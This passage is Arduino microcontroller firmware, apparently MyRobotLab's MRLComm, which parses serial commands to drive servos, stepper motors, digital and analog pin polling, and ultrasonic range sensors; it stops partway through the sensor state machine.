http:\/\/forum.arduino.cc\/index.php?topic=100557.0\n\n#define COMMUNICATION_RESET\t 252\n#define SOFT_RESET\t\t\t 253\n#define NOP 255\n\n\/\/ ---------- MRLCOMM FUNCTION INTERFACE END -----------\n\n\/\/ MAX definitions\n\/\/ MAX_SERVOS defined by boardtype\/library\n#define PINGDARS_MAX\t\t6\n#define SENSORS_MAX\t\t\t12\n#define STEPPERS_MAX\t\t6\n\n#define MAX_MOTORS 10\n\n#define ECHO_STATE_START 1\n#define ECHO_STATE_TRIG_PULSE_BEGIN 2\n#define ECHO_STATE_TRIG_PULSE_END 3\n#define ECHO_STATE_MIN_PAUSE_PRE_LISTENING 4\n#define ECHO_STATE_LISTENING 5\n#define ECHO_STATE_GOOD_RANGE\t6\n#define ECHO_STATE_TIMEOUT\t7\n\n\/\/ --VENDOR DEFINE SECTION BEGIN--\n\/\/ --VENDOR DEFINE SECTION END--\n\n\/\/ FIXME FIXME FIXME\n\/\/ -- FIXME - modified by board type BEGIN --\n\/\/ Need Arduino to do a hardware abstraction layer\n\/\/ https:\/\/code.google.com\/p\/arduino\/issues\/detail?id=59\n\/\/ AHAAA !! - many defintions in - pins_arduino.h !!!\n\/\/ Need a \"board\" identifier at least !!!\n\n#define ANALOG_PIN_COUNT 16 \/\/ mega\n#define DIGITAL_PIN_COUNT 54 \/\/ mega\n\/\/ #define MAX_SERVOS 48 - is defined @ compile time !!\n\/\/ -- FIXME - modified by board type END --\n\n#define ARDUINO_TYPE_INT 16; \/\/ :) type identifier - not size - but what the hell ;)\n\n\/*\n* TODO - CRC for last byte\n* getCommand - retrieves a command message\n* inbound and outbound messages are the same format, the following represents a basic message\n* format\n*\n* MAGIC_NUMBER|NUM_BYTES|FUNCTION|DATA0|DATA1|....|DATA(N)\n* NUM_BYTES - is the number of bytes after NUM_BYTES to the end\n*\n*\/\n\nint msgSize = 0; \/\/ the NUM_BYTES of current message\n\nunsigned int debounceDelay = 50; \/\/ in ms\nlong lastDebounceTime[DIGITAL_PIN_COUNT];\nbyte msgBuf[64];\n\ntypedef struct\n {\n int type;\n int trigPin;\n int echoPin;\n bool isRunning;\n int timeoutUS;\n unsigned long ts;\n unsigned long lastValue;\n int state;\n \/\/NewPing* ping;\n } sensor_type;\n\nsensor_type sensors[SENSORS_MAX];\n\ntypedef struct\n {\n \t int ts;\n int type;\n int index;\n int currentPos;\n int targetPos;\n int speed;\n int dir;\n bool isRunning;\n int state;\n \/\/ int dirPin;\n int step0; \/\/ step0 is dirPin is POLOLU TYPE\n int step1;\n int step2;\n int step3;\n } stepper_type;\n\nstepper_type steppers[STEPPERS_MAX];\n\n\/\/ Servos\ntypedef struct\n{\n Servo* servo;\n int index; \/\/ index of this servo\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} servo_type;\n\n\nservo_type servos[MAX_SERVOS];\n\n\/\/ Motors\ntypedef struct\n{\n int index; \/\/ index of this motor\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} motor_type;\n\nmotor_type motors[MAX_MOTORS];\n\nunsigned long loopCount = 0;\nunsigned long lastMicros \t= 0;\nint byteCount = 0;\nunsigned char newByte \t\t= 0;\nunsigned char ioCmd[64]; \/\/ message buffer for all inbound messages\nint readValue;\n\n\/\/ FIXME - normalize with sampleRate ..\nint loadTimingModulus = 1000;\n\nboolean loadTimingEnabled = false;\nunsigned long loadTime = 0;\n\/\/ TODO - avg load time\n\nunsigned int sampleRate = 1; \/\/ 1 - 65,535 modulus of the loopcount - allowing you to sample less\n\nint digitalReadPin[DIGITAL_PIN_COUNT]; \/\/ array of pins to read from\nint digitalReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastDigitalInputValue[DIGITAL_PIN_COUNT]; \/\/ array of last input values\nbool digitalTriggerOnly\t= false; \/\/ send data back only if its different\n\nint analogReadPin[ANALOG_PIN_COUNT]; \/\/ array of pins to read from\nint analogReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastAnalogInputValue[ANALOG_PIN_COUNT]; \/\/ array of last input values\nbool analogTriggerOnly = false; \/\/ send data back only if its different\n\nunsigned int errorCount = 0;\n\n\/\/---- data record definitions begin -----\n\n\n\/\/ TODO - all well and good .. but you dont control Servo's data (yet)\n\/\/ should have a struct for it too - contains all the data info you'd want to have\n\/\/ in a servo - same with stepper\n\ntypedef struct\n {\n int servoIndex; \/\/ id of servo in servos array\n \/\/int servoPos; in servo\n int sensorIndex;\n int sweepMin;\n int sweepMax;\n int step;\n bool isRunning; \/\/ needed ? - is combo of two\n } pingdar_type;\n\npingdar_type pingdars[PINGDARS_MAX];\n\/\/===custom msg interface begin===\n\tbyte customParams[256];\n\tint paramBuffIndex;\n\tint paramCnt;\n\/\/===custom msg interface end===\n\n\n\/* could optimize - but makes for ugly code - just to save a couple clock cycles - counting to 6 :P\nnot worth it\nint pingdarsRunningCount = 0;\nint pingdarsRunning[6]; \/\/ map array of running pingdars\n*\/\n\nvoid sendServoEvent(servo_type& s, int eventType);\nunsigned long getUltrasonicRange(sensor_type& sensor);\n\/\/ void sendMsg ( int num, ... );\n\n\/\/---- data record definitions end -----\n\nvoid append(const int& data) {\n\t++paramCnt;\n\tcustomParams[paramBuffIndex] = ARDUINO_TYPE_INT;\n\tcustomParams[++paramBuffIndex] = (byte)(data >> 8);\n\tcustomParams[++paramBuffIndex] = ((byte) data & 0xFF);\n\t++paramBuffIndex;\n}\n\nvoid startMsg() {\n}\n\nvoid setup() {\n\tSerial.begin(57600); \/\/ connect to the serial port\n\n\tsoftReset();\n\n\t\/\/ --VENDOR SETUP BEGIN--\n\t\/\/ --VENDOR SETUP END--\n}\n\n\nvoid sendMsg(){\n\n\t\/\/ unbox\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(paramBuffIndex + 2); \/\/ = param buff size + FN + paramCnt\n\t\/\/Serial.write(2); \/\/ = param buff size + FN + paramCnt\n\tSerial.write(CUSTOM_MSG);\n\tSerial.write(paramCnt);\n\n\tfor (int i = 0; i < paramBuffIndex; ++i){\n\t\tSerial.write(customParams[i]);\n\t}\n\n\tparamCnt = 0;\n\tparamBuffIndex = 0;\n}\n\n\n\nvoid softReset()\n{\n\tfor (int i = 0; i < MAX_SERVOS - 1; ++i)\n\t{\n servo_type& s = servos[i];\n\t\ts.speed = 100;\n if (s.servo != 0){\n\t\t s.servo->detach();\n }\n\t}\n\n\tfor (int j = 0; j < DIGITAL_PIN_COUNT - 1; ++j)\n\t{\n\t\tpinMode(j, OUTPUT);\n\t}\n\n\n\tdigitalReadPollingPinCount = 0;\n\tanalogReadPollingPinCount = 0;\n\tloopCount = 0;\n\n}\n\nvoid setPWMFrequency (int address, int prescalar)\n{\n\tint clearBits = 0x07;\n\tif (address == 0x25)\n\t{\n\t\tTCCR0B &= ~clearBits;\n\t\tTCCR0B |= prescalar;\n\t} else if (address == 0x2E)\n\t{\n\t\tTCCR1B &= ~clearBits;\n\t\tTCCR1B |= prescalar;\n\t} else if (address == 0xA1)\n\t{\n\t\tTCCR2B &= ~clearBits;\n\t\tTCCR2B |= prescalar;\n\t}\n\n}\n\nvoid removeAndShift (int array [], int& len, int removeValue)\n{\n\tint pos = -1;\n\n\tif (len == 0)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ find position of value\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tif (removeValue == array[i])\n\t\t{\n\t\t\tpos = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\t\/\/ if at the end just decrement size\n\tif (pos == len - 1)\n\t{\n\t\t--len;\n\t\treturn;\n\t}\n\n\t\/\/ if found somewhere else shift left\n\tif (pos < len && pos > -1)\n\t{\n\t\tfor (int j = pos; j < len - 1; ++j)\n\t\t{\n\t\t\tarray[j] = array[j+1];\n\t\t}\n\t\t--len;\n\t}\n}\n\nboolean getCommand ()\n{\n\t\/\/ handle serial data begin\n\tif (Serial.available() > 0)\n\t{\n\t\t\/\/ read the incoming byte:\n\t\tnewByte = Serial.read();\n\t\t++byteCount;\n\n\t\t\/\/ checking first byte - beginning of message?\n\t\tif (byteCount == 1 && newByte != MAGIC_NUMBER)\n\t\t{\n\t\t\t++errorCount;\n\t\t\tsendError(ERROR_SERIAL);\n\n\t\t\t\/\/ reset - try again\n\t\t\tbyteCount = 0;\n\t\t\treturn false;\n\t\t}\n\n\t\tif (byteCount == 2)\n\t\t{\n\t\t \/\/ get the size of message\n\t\t \/\/ todo check msg < 64 (MAX_MSG_SIZE)\n\t\t msgSize = newByte;\n\t\t}\n\n\t\tif (byteCount > 2) {\n\t\t \/\/ fill in msg data - (2) headbytes -1 (offset)\n\t\t ioCmd[byteCount - 3] = newByte;\n\t\t}\n\n\t\t\/\/ if received header + msg\n\t\tif (byteCount == 2 + msgSize)\n\t\t{\n return true;\n\t\t}\n\t} \/\/ if Serial.available\n\n\treturn false;\n}\n\nvoid loop () {\n\n\t++loopCount;\n\n\tif (getCommand())\n\t{\n\t\tswitch (ioCmd[0])\n\t\t{\n\n\t\tcase DIGITAL_WRITE:{\n\t\t\tdigitalWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_WRITE:{\n\t\t\tanalogWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PINMODE:{\n\t\t\tpinMode(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_ATTACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.index = ioCmd[1];\n\t\t\tif (s.servo == NULL){\n\t\t\t\ts.servo = new Servo();\n\t\t\t}\n\t\t\ts.servo->attach(ioCmd[2]);\n\t\t\ts.step = 1;\n\t\t\ts.eventsEnabled = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_START:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.min = ioCmd[2];\n\t\t\ts.max = ioCmd[3];\n\t\t\ts.step = ioCmd[4];\n\t\t\ts.isMoving = true;\n\t\t\ts.isSweeping = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_STOP:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.isMoving = false;\n\t\t\ts.isSweeping = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.speed == 100 && s.servo != 0)\/\/ move at regular\/full 100% speed\n\t\t\t{\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.currentPos = ioCmd[2];\n\t\t\t\ts.isMoving = false;\n\t\t\t\ts.servo->write(ioCmd[2]);\n\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t} else if (s.speed < 100 && s.speed > 0) {\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.isMoving = true;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_EVENTS_ENABLE:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.eventsEnabled = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase LOAD_TIMING_ENABLE:{\n\t\t\tloadTimingEnabled = ioCmd[1];\n\t\t\t\/\/loadTimingModulus = ioCmd[2];\n\t\t\tloadTimingModulus = 1000;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE_MICROSECONDS:{\n\t\t\t\/\/ TODO - incorporate into speed control etc\n\t\t\t\/\/ normalize - currently by itself doesn't effect events\n\t\t\t\/\/ nor is it involved in speed control\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0) {\n\t\t\t\t\/\/ 1500 midpoint\n\t\t\t\ts.servo->writeMicroseconds(ioCmd[2]);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SERVO_SPEED:{\n\t\t\t\/\/ setting the speed of a servo\n\t\t\tservo_type& servo = servos[ioCmd[1]];\n\t\t\tservo.speed = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_DETACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0){\n\t\t\t s.servo->detach();\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_PWM_FREQUENCY:{\n\t\t\tsetPWMFrequency (ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_START:{\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT - if already set don't increment\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(analogReadPin, analogReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_START:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tdigitalReadPin[digitalReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++digitalReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(digitalReadPin, digitalReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_ANALOG_TRIGGER:{\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_DEBOUNCE_ON:{\n\t\t\t\/\/ debounceDelay = 50;\n\t\t\tdebounceDelay = ((ioCmd[1]<<8) + ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_DEBOUNCE_OFF:{\n\t\t\tdebounceDelay = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_TRIGGER_ONLY_ON:{\n\t\t\tdigitalTriggerOnly = true;\n\t\t\tbreak;\n\n\t\tcase DIGITAL_TRIGGER_ONLY_OFF:\n\t\t\tdigitalTriggerOnly = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SERIAL_RATE:\n\t\t{\n\t\t\tSerial.end();\n\t\t\tdelay(500);\n\t\t\tSerial.begin(ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase GET_MRLCOMM_VERSION:{\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(2); \/\/ size\n\t\t\tSerial.write(GET_MRLCOMM_VERSION);\n\t\t\tSerial.write((byte)MRLCOMM_VERSION);\n\t\t\tbreak;\n\t\t\t}\n\n\t\tcase PULSE_IN: {\n\t\t \/\/ might need to hack the pulseIn lib - but would\n\t\t \/\/ like to do it without delay\n\t\t\t\/\/ http:\/\/arduino.cc\/en\/Tutorial\/BlinkWithoutDelay\n\t\t\tint trigPin = ioCmd[1];\n\t\t\tint echoPin = ioCmd[2];\n\t\t\t\/\/ TODO - implement HI\/LOW value & timeout & variable delay for trigger\n\n\t\t\tpinMode(trigPin, OUTPUT);\n\t\t\tpinMode(echoPin, INPUT);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tdelayMicroseconds(2);\n\n\t\t\tdigitalWrite(trigPin, HIGH);\n\t\t\tdelayMicroseconds(10);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tunsigned long duration = pulseIn(echoPin, HIGH);\n\n\t\t\t\/\/Calculate the distance (in cm) based on the speed of sound.\n\t\t\t\/\/ distance = duration\/58.2;\n\n\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n \t\t\t\/\/sendMsg(5, PULSE_IN, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n \t\t\t\/\/sendMsg(6, SENSOR_DATA, 47, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n\n\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\tSerial.write(PULSE_IN);\n \/\/ write the long value out\n\t\t\tSerial.write((byte)(duration >> 24));\n\t\t\tSerial.write((byte)(duration >> 16));\n\t\t\tSerial.write((byte)(duration >> 8));\n\t\t\tSerial.write((byte)duration & 0xFF);\n\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SAMPLE_RATE:{\n\t\t\t\/\/ 2 byte int - valid range 1-65,535\n\t\t\tsampleRate = (ioCmd[1]<<8) + ioCmd[2];\n\t\t\tif (sampleRate == 0)\n\t\t\t\t{ sampleRate = 1; } \/\/ avoid \/0 error - FIXME - time estimate param\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SOFT_RESET:{\n\t\t\tsoftReset();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_ATTACH:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.index = ioCmd[1];\n\t\t\tstepper.type = ioCmd[2];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.step0 = ioCmd[3]; \/\/ dir pin\n\t\t\t\tstepper.step1 = ioCmd[4]; \/\/ step pin\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_RESET:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_MOVE:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = true;\n\n\t\t\t\tstepper.targetPos = stepper.currentPos + (ioCmd[2]<<8) + ioCmd[3];\n\t\t\t\t\/\/ relative position & direction\n\t\t\t\tif (stepper.targetPos < 0) {\n\t\t\t\t\t\/\/ direction\n\t\t\t\t\tdigitalWrite(stepper.step0, 1);\n\t\t\t\t} else {\n\t\t\t\t\tdigitalWrite(stepper.step0, 0);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_STOP:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = false;\n\t\t\t\tstepper.targetPos = stepper.currentPos;\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\tSerial.write(STEPPER_EVENT);\n\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t\t\/\/ --VENDOR CODE BEGIN--\n\t\t\t\/\/ --VENDOR CODE END--\n\n\t\tcase PINGDAR_ATTACH:{\n\t\t\tint pingdarIndex = ioCmd[1];\n\t\t\tpingdar_type& pingdar = pingdars[pingdarIndex];\n\t\t\tpingdar.servoIndex = ioCmd[2];\n\t\t\tpingdar.sensorIndex = ioCmd[3];\n\t\t\tpingdar.step = 1;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_ATTACH:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.type = ioCmd[2];\n\n\n\n\t\t\t\/\/ initialize based on sensor type\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\t\t\t\tsensor.trigPin = ioCmd[3];\n\t\t\t\tsensor.echoPin = ioCmd[4];\n\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\t\t\/\/sensor.ping = new NewPing(sensor.trigPin, sensor.echoPin, 100);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_START:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = true;\n\n\t\t\t\/\/ I'm used to ms - and would need to change some\n\t\t\t\/\/ interfaces if i was to support inbound longs\n\t\t\t\/\/sensor.timeoutUS = ioCmd[2] * 1000;\n\t\t\tsensor.timeoutUS = 20000; \/\/ 20 ms\n\t\t\tsensor.state = ECHO_STATE_START;\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_STOP:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase NOP:{\n\t\t\t\/\/ No Operation\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault:{\n\t\t sendError(ERROR_UNKOWN_CMD);\n\t\t\tbreak;\n\t\t}\n\t\t} \/\/ end switch\n\n\t\t\/\/ reset buffer\n\t\tmemset(ioCmd,0,sizeof(ioCmd));\n\t\tbyteCount = 0;\n\n\t} \/\/ if getCommand()\n\n\t\/\/ all reads are affected by sample rate\n\tif (loopCount%sampleRate == 0) {\n\t\t\/\/ digital polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < digitalReadPollingPinCount; ++i)\n\t\t{\n\t\t\tif (debounceDelay)\n\t\t\t{\n\t\t\t if (millis() - lastDebounceTime[digitalReadPin[i]] < debounceDelay)\n\t\t\t {\n\t\t\t continue;\n\t\t\t }\n\t\t\t}\n\n\t\t\t\/\/ read the pin\n\t\t\treadValue = digitalRead(digitalReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time && config - send it\n\t\t\tif (lastDigitalInputValue[digitalReadPin[i]] != readValue || !digitalTriggerOnly)\n\t\t\t{\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(3); \/\/ size\n\t\t\t\tSerial.write(DIGITAL_VALUE);\n\t\t\t\tSerial.write(digitalReadPin[i]);\/\/ Pin#\n\t\t\t\tSerial.write(readValue); \t\/\/ LSB\n\n\t\t\t lastDebounceTime[digitalReadPin[i]] = millis();\n\t\t\t}\n\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastDigitalInputValue[digitalReadPin[i]] = readValue;\n\t\t}\n\n\n\t\t\/\/ analog polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < analogReadPollingPinCount; ++i)\n\t\t{\n\t\t\t\/\/ read the pin\n\t\t\treadValue = analogRead(analogReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time - send it\n\t\t\tif (lastAnalogInputValue[analogReadPin[i]] != readValue || !analogTriggerOnly) \/\/TODO - SEND_DELTA_MIN_DIFF\n\t\t\t{\n\t\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/size\n\t\t\t\tSerial.write(ANALOG_VALUE);\n\t\t\t\tSerial.write(analogReadPin[i]);\n\t\t\t\tSerial.write(readValue >> 8); \/\/ MSB\n\t\t\t\tSerial.write(readValue & 0xFF);\t\/\/ LSB\n\n\t }\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastAnalogInputValue[analogReadPin[i]] = readValue;\n\t\t}\n\t}\n\n\t\/\/ update moving servos - send events if required\n\tfor (int i = 0; i < MAX_SERVOS; ++i)\n\t{\n\t\tservo_type& s = servos[i];\n\t\tif (s.isMoving && s.servo != 0){\n\t\t\tif (s.currentPos != s.targetPos)\n\t\t\t{\n\t\t\t\t\/\/ caclulate the appropriate modulus to drive\n\t\t\t\t\/\/ the servo to the next position\n\t\t\t\t\/\/ TODO - check for speed > 0 && speed < 100 - send ERROR back?\n\t\t\t\tint speedModulus = (100 - s.speed) * 10;\n\t\t\t\tif (loopCount % speedModulus == 0)\n\t\t\t\t{\n\t\t\t\t\tint increment = s.step * ((s.currentPos < s.targetPos)?1:-1);\n\t\t\t\t\t\/\/ move the servo an increment\n\t\t\t\t\ts.currentPos = s.currentPos + increment;\n\t\t\t\t\ts.servo->write(s.currentPos);\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_POSITION_UPDATE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (s.isSweeping) {\n\t\t\t\t\tif (s.targetPos == s.min){\n\t\t\t\t\t\ts.targetPos = s.max;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts.targetPos = s.min;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t\t\ts.isMoving = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long ts;\n\n\tfor (int i = 0; i < SENSORS_MAX; ++i) {\n\t\tsensor_type& sensor = sensors[i];\n\t\tif (sensor.isRunning == true){\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\n\t\t\t\t\/\/ we are running & have an ultrasonic (ping) sensor\n\t\t\t\t\/\/ check to see what state we are in\n\n\t\t\t\tif (sensor.state == ECHO_STATE_START){\n\t\t\t\t\t\/\/ trigPin prepare - start low for an\n\t\t\t\t\t\/\/ upcoming high pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\t\/\/ put the echopin into a high state\n\t\t\t\t\t\/\/ is this necessary ???\n\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 2){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_BEGIN;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_BEGIN){\n\n\t\t\t\t\t\/\/ begin high pulse for at least 10 us\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 10){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_END;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_END){\n\t\t\t\t\t\/\/ end of pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\tsensor.state = ECHO_STATE_MIN_PAUSE_PRE_LISTENING;\n\t\t\t\t\tsensor.ts = micros();\n\t\t\t\t} else if (sensor.state == ECHO_STATE_MIN_PAUSE_PRE_LISTENING){\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 1500){\n\t\t\t\t\t\tsensor.ts = ts;\n\n\t\t\t\t\t\t\/\/ putting echo pin into listen mode\n\t\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\t\t\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\n\t\t\t\t\t\tsensor.state = ECHO_STATE_LISTENING;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_LISTENING) {\n\t\t\t\t\t\/\/ timeout or change states..\n\t\t\t\t\tint value = digitalRead(sensor.echoPin);\n\t\t\t\t\tts = micros();\n\n\t\t\t\t\tif (value == LOW) {\n\t\t\t\t\t\tsensor.lastValue = ts - sensor.ts;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_GOOD_RANGE;\n\t\t\t\t\t} else if (ts - sensor.ts > sensor.timeoutUS) {\n\t\t\t\t\t\tsensor.state = 